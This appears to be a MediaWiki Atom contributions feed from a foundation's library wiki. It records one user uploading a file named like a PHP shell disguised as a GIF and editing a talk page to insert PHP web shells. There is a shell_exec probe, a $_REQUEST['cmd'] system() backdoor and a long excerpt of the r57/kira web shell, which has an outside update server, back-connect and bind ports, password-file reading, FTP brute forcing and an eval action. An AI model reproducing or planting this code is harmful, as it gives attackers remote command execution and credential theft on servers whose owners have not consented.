<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="es">
	<id>https://www.biblioteca.fundacionicbc.edu.ar/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Esteban</id>
	<title>FUNDACION ICBC | Biblioteca Virtual - Contribuciones del usuario [es]</title>
	<link rel="self" type="application/atom+xml" href="https://www.biblioteca.fundacionicbc.edu.ar/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Esteban"/>
	<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php/Especial:Contribuciones/Esteban"/>
	<updated>2026-04-29T21:39:58Z</updated>
	<subtitle>Contribuciones del usuario</subtitle>
	<generator>MediaWiki 1.38.4</generator>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:LogoB4.jpeg&amp;diff=4425</id>
		<title>Archivo:LogoB4.jpeg</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:LogoB4.jpeg&amp;diff=4425"/>
		<updated>2017-01-09T21:02:19Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Base4shell.Php2.gif&amp;diff=4424</id>
		<title>Archivo:Base4shell.Php2.gif</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Base4shell.Php2.gif&amp;diff=4424"/>
		<updated>2017-01-09T20:49:14Z</updated>

		<summary type="html">&lt;p&gt;Esteban: Esteban subió una nueva versión de Archivo:Base4shell.Php2.gif&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Base4shell.Php2.gif&amp;diff=4423</id>
		<title>Archivo:Base4shell.Php2.gif</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Base4shell.Php2.gif&amp;diff=4423"/>
		<updated>2017-01-09T20:46:25Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4420</id>
		<title>Discusión:Portada</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4420"/>
		<updated>2017-01-07T06:24:12Z</updated>

		<summary type="html">&lt;p&gt;Esteban: Página blanqueada&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4419</id>
		<title>Discusión:Portada</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4419"/>
		<updated>2017-01-07T06:23:09Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php&lt;br /&gt;
$salida = shell_exec('ls -lart');&lt;br /&gt;
echo &amp;quot;&amp;lt;pre&amp;gt;$salida&amp;lt;/pre&amp;gt;&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4418</id>
		<title>Discusión:Portada</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4418"/>
		<updated>2017-01-07T06:19:35Z</updated>

		<summary type="html">&lt;p&gt;Esteban: Página reemplazada por «&amp;lt;?php if(isset($_REQUEST['cmd'])){     $cmd = ($_REQUEST[&amp;quot;cmd&amp;quot;]);     system($cmd);     echo &amp;quot;&amp;lt;/pre&amp;gt;$cmd&amp;lt;pre&amp;gt;&amp;quot;;     die; } ?&amp;gt;»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php&lt;br /&gt;
if(isset($_REQUEST['cmd'])){&lt;br /&gt;
    $cmd = ($_REQUEST[&amp;quot;cmd&amp;quot;]);&lt;br /&gt;
    system($cmd);&lt;br /&gt;
    echo &amp;quot;&amp;lt;/pre&amp;gt;$cmd&amp;lt;pre&amp;gt;&amp;quot;;&lt;br /&gt;
    die;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4417</id>
		<title>Discusión:Portada</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Discusi%C3%B3n:Portada&amp;diff=4417"/>
		<updated>2017-01-07T06:17:02Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php&lt;br /&gt;
/*&lt;br /&gt;
/*&lt;br /&gt;
/* HomePage : r57c99.com !&lt;br /&gt;
/*&lt;br /&gt;
*/&lt;br /&gt;
//Starting calls&lt;br /&gt;
if (!function_exists(&amp;quot;getmicrotime&amp;quot;)) {function getmicrotime() {list($usec, $sec) = explode(&amp;quot; &amp;quot;, microtime()); return ((float)$usec + (float)$sec);}}&lt;br /&gt;
error_reporting(5);&lt;br /&gt;
@ignore_user_abort(TRUE);&lt;br /&gt;
@set_magic_quotes_runtime(0);&lt;br /&gt;
$win = strtolower(substr(PHP_OS,0,3)) == &amp;quot;win&amp;quot;;&lt;br /&gt;
define(&amp;quot;starttime&amp;quot;,getmicrotime());&lt;br /&gt;
if (get_magic_quotes_gpc()) {if (!function_exists(&amp;quot;strips&amp;quot;)) {function strips(&amp;amp;$arr,$k=&amp;quot;&amp;quot;) {if (is_array($arr)) {foreach($arr as $k=&amp;gt;$v) {if (strtoupper($k) != &amp;quot;GLOBALS&amp;quot;) {strips($arr[&amp;quot;$k&amp;quot;]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}&lt;br /&gt;
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);&lt;br /&gt;
foreach($_REQUEST as $k=&amp;gt;$v) {if (!isset($$k)) {$$k = $v;}}&lt;br /&gt;
&lt;br /&gt;
$shver = &amp;quot;r57c99.com .Biz was here&amp;quot;; //Current version&lt;br /&gt;
//CONFIGURATION AND SETTINGS&lt;br /&gt;
if (!empty($unset_surl)) {setcookie(&amp;quot;k1r4_surl&amp;quot;); $surl = &amp;quot;&amp;quot;;}&lt;br /&gt;
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(&amp;quot;k1r4_surl&amp;quot;,$surl);}&lt;br /&gt;
else {$surl = $_REQUEST[&amp;quot;k1r4_surl&amp;quot;]; //Set this cookie for manual SURL&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.&lt;br /&gt;
&lt;br /&gt;
if ($surl_autofill_include and !$_REQUEST[&amp;quot;k1r4_surl&amp;quot;]) {$include = &amp;quot;&amp;amp;&amp;quot;; foreach (explode(&amp;quot;&amp;amp;&amp;quot;,getenv(&amp;quot;QUERY_STRING&amp;quot;)) as $v) {$v = explode(&amp;quot;=&amp;quot;,$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array(&amp;quot;http://&amp;quot;,&amp;quot;https://&amp;quot;,&amp;quot;ssl://&amp;quot;,&amp;quot;ftp://&amp;quot;,&amp;quot;\\\\&amp;quot;) as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name).&amp;quot;=&amp;quot;.urlencode($value).&amp;quot;&amp;amp;&amp;quot;;}}} if ($_REQUEST[&amp;quot;surl_autofill_include&amp;quot;]) {$includestr .= &amp;quot;surl_autofill_include=1&amp;amp;&amp;quot;;}}&lt;br /&gt;
if (empty($surl))&lt;br /&gt;
{&lt;br /&gt;
 $surl = &amp;quot;?&amp;quot;.$includestr; //Self url&lt;br /&gt;
}&lt;br /&gt;
$surl = htmlspecialchars($surl);&lt;br /&gt;
&lt;br /&gt;
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$host_allow = array(&amp;quot;*&amp;quot;); //array (&amp;quot;{mask}1&amp;quot;,&amp;quot;{mask}2&amp;quot;,...), {mask} = IP or HOST e.g. array(&amp;quot;192.168.0.*&amp;quot;,&amp;quot;127.0.0.1&amp;quot;)&lt;br /&gt;
$login_txt = &amp;quot;Restricted area&amp;quot;; //http-auth message.&lt;br /&gt;
$accessdeniedmess = &amp;quot; r57c99.com . Org &amp;quot;.$shver.&amp;quot;: access denied&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$gzipencode = TRUE; //Encode with gzip?&lt;br /&gt;
&lt;br /&gt;
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)&lt;br /&gt;
&lt;br /&gt;
$k1r4_updateurl = &amp;quot;http://emp3ror.com/kira//update/&amp;quot;; //Update server&lt;br /&gt;
$k1r4_sourcesurl = &amp;quot;http://emp3ror.com/kira/&amp;quot;; //Sources-server&lt;br /&gt;
&lt;br /&gt;
$filestealth = TRUE; //if TRUE, don't change modify- and access-time&lt;br /&gt;
&lt;br /&gt;
$donated_html = &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Owned by r57c99.com.org&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
/* If you publish free shell and you wish&lt;br /&gt;
add link to your site or any other information,&lt;br /&gt;
put here your html. */&lt;br /&gt;
$donated_act = array(&amp;quot;&amp;quot;); //array (&amp;quot;act1&amp;quot;,&amp;quot;act2,&amp;quot;...), if $act is in this array, display $donated_html.&lt;br /&gt;
&lt;br /&gt;
$curdir = &amp;quot;./&amp;quot;; //start folder&lt;br /&gt;
//$curdir = getenv(&amp;quot;DOCUMENT_ROOT&amp;quot;);&lt;br /&gt;
$tmpdir = &amp;quot;&amp;quot;; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)&lt;br /&gt;
$tmpdir_log = &amp;quot;./&amp;quot;; //Directory logs of long processes (e.g. brute, scan...)&lt;br /&gt;
&lt;br /&gt;
$log_email = &amp;quot;dangerover@dangerover.net&amp;quot;; //Default e-mail for sending logs&lt;br /&gt;
&lt;br /&gt;
$sort_default = &amp;quot;0a&amp;quot;; //Default sorting, 0 - number of colomn, &amp;quot;a&amp;quot;scending or &amp;quot;d&amp;quot;escending&lt;br /&gt;
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.&lt;br /&gt;
&lt;br /&gt;
// Registered file-types.&lt;br /&gt;
//  array(&lt;br /&gt;
//   &amp;quot;{action1}&amp;quot;=&amp;gt;array(&amp;quot;ext1&amp;quot;,&amp;quot;ext2&amp;quot;,&amp;quot;ext3&amp;quot;,...),&lt;br /&gt;
//   &amp;quot;{action2}&amp;quot;=&amp;gt;array(&amp;quot;ext4&amp;quot;,&amp;quot;ext5&amp;quot;,&amp;quot;ext6&amp;quot;,...),&lt;br /&gt;
//   ...&lt;br /&gt;
//  )&lt;br /&gt;
$ftypes  = array(&lt;br /&gt;
 &amp;quot;html&amp;quot;=&amp;gt;array(&amp;quot;html&amp;quot;,&amp;quot;htm&amp;quot;,&amp;quot;shtml&amp;quot;),&lt;br /&gt;
 &amp;quot;txt&amp;quot;=&amp;gt;array(&amp;quot;txt&amp;quot;,&amp;quot;conf&amp;quot;,&amp;quot;bat&amp;quot;,&amp;quot;sh&amp;quot;,&amp;quot;js&amp;quot;,&amp;quot;bak&amp;quot;,&amp;quot;doc&amp;quot;,&amp;quot;log&amp;quot;,&amp;quot;sfc&amp;quot;,&amp;quot;cfg&amp;quot;,&amp;quot;htaccess&amp;quot;),&lt;br /&gt;
 &amp;quot;exe&amp;quot;=&amp;gt;array(&amp;quot;sh&amp;quot;,&amp;quot;install&amp;quot;,&amp;quot;bat&amp;quot;,&amp;quot;cmd&amp;quot;),&lt;br /&gt;
 &amp;quot;ini&amp;quot;=&amp;gt;array(&amp;quot;ini&amp;quot;,&amp;quot;inf&amp;quot;),&lt;br /&gt;
 &amp;quot;code&amp;quot;=&amp;gt;array(&amp;quot;php&amp;quot;,&amp;quot;phtml&amp;quot;,&amp;quot;php3&amp;quot;,&amp;quot;php4&amp;quot;,&amp;quot;inc&amp;quot;,&amp;quot;tcl&amp;quot;,&amp;quot;h&amp;quot;,&amp;quot;c&amp;quot;,&amp;quot;cpp&amp;quot;,&amp;quot;py&amp;quot;,&amp;quot;cgi&amp;quot;,&amp;quot;pl&amp;quot;),&lt;br /&gt;
 &amp;quot;img&amp;quot;=&amp;gt;array(&amp;quot;gif&amp;quot;,&amp;quot;png&amp;quot;,&amp;quot;jpeg&amp;quot;,&amp;quot;jfif&amp;quot;,&amp;quot;jpg&amp;quot;,&amp;quot;jpe&amp;quot;,&amp;quot;bmp&amp;quot;,&amp;quot;ico&amp;quot;,&amp;quot;tif&amp;quot;,&amp;quot;tiff&amp;quot;,&amp;quot;avi&amp;quot;,&amp;quot;mpg&amp;quot;,&amp;quot;mpeg&amp;quot;),&lt;br /&gt;
 &amp;quot;sdb&amp;quot;=&amp;gt;array(&amp;quot;sdb&amp;quot;),&lt;br /&gt;
 &amp;quot;phpsess&amp;quot;=&amp;gt;array(&amp;quot;sess&amp;quot;),&lt;br /&gt;
 &amp;quot;download&amp;quot;=&amp;gt;array(&amp;quot;exe&amp;quot;,&amp;quot;com&amp;quot;,&amp;quot;pif&amp;quot;,&amp;quot;src&amp;quot;,&amp;quot;lnk&amp;quot;,&amp;quot;zip&amp;quot;,&amp;quot;rar&amp;quot;,&amp;quot;gz&amp;quot;,&amp;quot;tar&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
// Registered executable file-types.&lt;br /&gt;
//  array(&lt;br /&gt;
//   string &amp;quot;command{i}&amp;quot;=&amp;gt;array(&amp;quot;ext1&amp;quot;,&amp;quot;ext2&amp;quot;,&amp;quot;ext3&amp;quot;,...),&lt;br /&gt;
//   ...&lt;br /&gt;
//  )&lt;br /&gt;
//   {command}: %f% = filename&lt;br /&gt;
$exeftypes  = array(&lt;br /&gt;
 getenv(&amp;quot;PHPRC&amp;quot;).&amp;quot; -q %f%&amp;quot; =&amp;gt; array(&amp;quot;php&amp;quot;,&amp;quot;php3&amp;quot;,&amp;quot;php4&amp;quot;),&lt;br /&gt;
 &amp;quot;perl %f%&amp;quot; =&amp;gt; array(&amp;quot;pl&amp;quot;,&amp;quot;cgi&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
/* Highlighted files.&lt;br /&gt;
  array(&lt;br /&gt;
   i=&amp;gt;array({regexp},{type},{opentag},{closetag},{break})&lt;br /&gt;
   ...&lt;br /&gt;
  )&lt;br /&gt;
  string {regexp} - regular exp.&lt;br /&gt;
  int {type}:&lt;br /&gt;
0 - files and folders (as default),&lt;br /&gt;
1 - files only, 2 - folders only&lt;br /&gt;
  string {opentag} - open html-tag, e.g. &amp;quot;&amp;lt;b&amp;gt;&amp;quot; (default)&lt;br /&gt;
  string {closetag} - close html-tag, e.g. &amp;quot;&amp;lt;/b&amp;gt;&amp;quot; (default)&lt;br /&gt;
  bool {break} - if TRUE and found match then break&lt;br /&gt;
*/&lt;br /&gt;
$regxp_highlight  = array(&lt;br /&gt;
  array(basename($_SERVER[&amp;quot;PHP_SELF&amp;quot;]),1,&amp;quot;&amp;lt;font color=\&amp;quot;yellow\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;), // example&lt;br /&gt;
  array(&amp;quot;config.php&amp;quot;,1) // example&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
$safemode_diskettes = array(&amp;quot;a&amp;quot;); // This variable for disabling diskett-errors.&lt;br /&gt;
 // array (i=&amp;gt;{letter} ...); string {letter} - letter of a drive&lt;br /&gt;
//$safemode_diskettes = range(&amp;quot;a&amp;quot;,&amp;quot;z&amp;quot;);&lt;br /&gt;
$hexdump_lines = 8;// lines in hex preview file&lt;br /&gt;
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line&lt;br /&gt;
&lt;br /&gt;
$nixpwdperpage = 100; // Get first N lines from /etc/passwd&lt;br /&gt;
&lt;br /&gt;
$bindport_pass = &amp;quot;k1r4&amp;quot;;  // default password for binding&lt;br /&gt;
$bindport_port = &amp;quot;31373&amp;quot;; // default port for binding&lt;br /&gt;
$bc_port = &amp;quot;31373&amp;quot;; // default port for back-connect&lt;br /&gt;
$datapipe_localport = &amp;quot;8081&amp;quot;; // default port for datapipe&lt;br /&gt;
&lt;br /&gt;
// Command-aliases&lt;br /&gt;
if (!$win)&lt;br /&gt;
{&lt;br /&gt;
 $cmdaliases = array(&lt;br /&gt;
  array(&amp;quot;-----------------------------------------------------------&amp;quot;, &amp;quot;ls -la&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all suid files&amp;quot;, &amp;quot;find / -type f -perm -04000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find suid files in current dir&amp;quot;, &amp;quot;find . -type f -perm -04000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all sgid files&amp;quot;, &amp;quot;find / -type f -perm -02000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find sgid files in current dir&amp;quot;, &amp;quot;find . -type f -perm -02000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find config.inc.php files&amp;quot;, &amp;quot;find / -type f -name config.inc.php&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find config* files&amp;quot;, &amp;quot;find / -type f -name \&amp;quot;config*\&amp;quot;&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find config* files in current dir&amp;quot;, &amp;quot;find . -type f -name \&amp;quot;config*\&amp;quot;&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all writable folders and files&amp;quot;, &amp;quot;find / -perm -2 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all writable folders and files in current dir&amp;quot;, &amp;quot;find . -perm -2 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all service.pwd files&amp;quot;, &amp;quot;find / -type f -name service.pwd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find service.pwd files in current dir&amp;quot;, &amp;quot;find . -type f -name service.pwd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all .htpasswd files&amp;quot;, &amp;quot;find / -type f -name .htpasswd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find .htpasswd files in current dir&amp;quot;, &amp;quot;find . -type f -name .htpasswd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all .bash_history files&amp;quot;, &amp;quot;find / -type f -name .bash_history&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find .bash_history files in current dir&amp;quot;, &amp;quot;find . -type f -name .bash_history&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all .fetchmailrc files&amp;quot;, &amp;quot;find / -type f -name .fetchmailrc&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find .fetchmailrc files in current dir&amp;quot;, &amp;quot;find . -type f -name .fetchmailrc&amp;quot;),&lt;br /&gt;
  array(&amp;quot;list file attributes on a Linux second extended file system&amp;quot;, &amp;quot;lsattr -va&amp;quot;),&lt;br /&gt;
  array(&amp;quot;show opened ports&amp;quot;, &amp;quot;netstat -an | grep -i listen&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 $cmdaliases = array(&lt;br /&gt;
  array(&amp;quot;-----------------------------------------------------------&amp;quot;, &amp;quot;dir&amp;quot;),&lt;br /&gt;
  array(&amp;quot;show opened ports&amp;quot;, &amp;quot;netstat -an&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$sess_cookie = &amp;quot;k1r4vars&amp;quot;; // Cookie-variable name&lt;br /&gt;
&lt;br /&gt;
$usefsbuff = TRUE; //Buffer-function&lt;br /&gt;
$copy_unset = FALSE; //Remove copied files from buffer after pasting&lt;br /&gt;
&lt;br /&gt;
//Quick launch&lt;br /&gt;
$quicklaunch = array(&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=home\&amp;quot; alt=\&amp;quot;Home\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=back\&amp;quot; alt=\&amp;quot;Back\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;#\&amp;quot; onclick=\&amp;quot;history.back(1)&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=forward\&amp;quot; alt=\&amp;quot;Forward\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;#\&amp;quot; onclick=\&amp;quot;history.go(1)&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=up\&amp;quot; alt=\&amp;quot;UPDIR\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl.&amp;quot;act=ls&amp;amp;d=%upd&amp;amp;sort=%sort&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=refresh\&amp;quot; alt=\&amp;quot;Refresh\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;17\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=search\&amp;quot; alt=\&amp;quot;Search\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl.&amp;quot;act=search&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=buffer\&amp;quot; alt=\&amp;quot;Buffer\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl.&amp;quot;act=fsbuff&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Encoder&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=encoder&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Tools&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=tools&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Proc.&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=processes&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;FTP brute&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=ftpquickbrute&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Sec.&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=security&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;SQL&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;PHP-code&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=eval&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Update&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=update&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Feedback&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=feedback&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Self remove&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=selfremove&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Logout&amp;lt;/b&amp;gt;&amp;quot;,&amp;quot;#\&amp;quot; onclick=\&amp;quot;if (confirm('Are you sure?')) window.close()&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
//Highlight-code colors&lt;br /&gt;
$highlight_background = &amp;quot;#c0c0c0&amp;quot;;&lt;br /&gt;
$highlight_bg = &amp;quot;#FFFFFF&amp;quot;;&lt;br /&gt;
$highlight_comment = &amp;quot;#6A6A6A&amp;quot;;&lt;br /&gt;
$highlight_default = &amp;quot;#0000BB&amp;quot;;&lt;br /&gt;
$highlight_html = &amp;quot;#1300FF&amp;quot;;&lt;br /&gt;
$highlight_keyword = &amp;quot;#007700&amp;quot;;&lt;br /&gt;
$highlight_string = &amp;quot;#000000&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
@$f = $_REQUEST[&amp;quot;f&amp;quot;];&lt;br /&gt;
@extract($_REQUEST[&amp;quot;k1r4cook&amp;quot;]);&lt;br /&gt;
&lt;br /&gt;
//END CONFIGURATION&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// \/Next code isn't for editing\/&lt;br /&gt;
@set_time_limit(0);&lt;br /&gt;
$tmp = array();&lt;br /&gt;
foreach($host_allow as $k=&amp;gt;$v) {$tmp[] = str_replace(&amp;quot;\\*&amp;quot;,&amp;quot;.*&amp;quot;,preg_quote($v));}&lt;br /&gt;
$s = &amp;quot;!^(&amp;quot;.implode(&amp;quot;|&amp;quot;,$tmp).&amp;quot;)$!i&amp;quot;;&lt;br /&gt;
if (!preg_match($s,getenv(&amp;quot;REMOTE_ADDR&amp;quot;)) and !preg_match($s,gethostbyaddr(getenv(&amp;quot;REMOTE_ADDR&amp;quot;)))) {exit(&amp;quot;&amp;lt;a href=\&amp;quot;http://google.com/releases/ckira\&amp;quot;&amp;gt;kira&amp;lt;/a&amp;gt;: Access Denied - your host (&amp;quot;.getenv(&amp;quot;REMOTE_ADDR&amp;quot;).&amp;quot;) not allow&amp;quot;);}&lt;br /&gt;
if (!empty($login))&lt;br /&gt;
{&lt;br /&gt;
 if (empty($md5_pass)) {$md5_pass = md5($pass);}&lt;br /&gt;
 if (($_SERVER[&amp;quot;PHP_AUTH_USER&amp;quot;] != $login) or (md5($_SERVER[&amp;quot;PHP_AUTH_PW&amp;quot;]) != $md5_pass))&lt;br /&gt;
 {&lt;br /&gt;
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(&amp;quot;&amp;amp;nbsp;|&amp;lt;br&amp;gt;&amp;quot;,&amp;quot; &amp;quot;,$donated_html));}&lt;br /&gt;
  header(&amp;quot;WWW-Authenticate: Basic realm=\&amp;quot;kira &amp;quot;.$shver.&amp;quot;: &amp;quot;.$login_txt.&amp;quot;\&amp;quot;&amp;quot;);&lt;br /&gt;
  header(&amp;quot;HTTP/1.0 401 Unauthorized&amp;quot;);&lt;br /&gt;
  exit($accessdeniedmess);&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act != &amp;quot;img&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
$lastdir = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
chdir($curdir);&lt;br /&gt;
if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}&lt;br /&gt;
$sess_data = unserialize($_COOKIE[&amp;quot;$sess_cookie&amp;quot;]);&lt;br /&gt;
if (!is_array($sess_data)) {$sess_data = array();}&lt;br /&gt;
if (!is_array($sess_data[&amp;quot;copy&amp;quot;])) {$sess_data[&amp;quot;copy&amp;quot;] = array();}&lt;br /&gt;
if (!is_array($sess_data[&amp;quot;cut&amp;quot;])) {$sess_data[&amp;quot;cut&amp;quot;] = array();}&lt;br /&gt;
&lt;br /&gt;
$disablefunc = @ini_get(&amp;quot;disable_functions&amp;quot;);&lt;br /&gt;
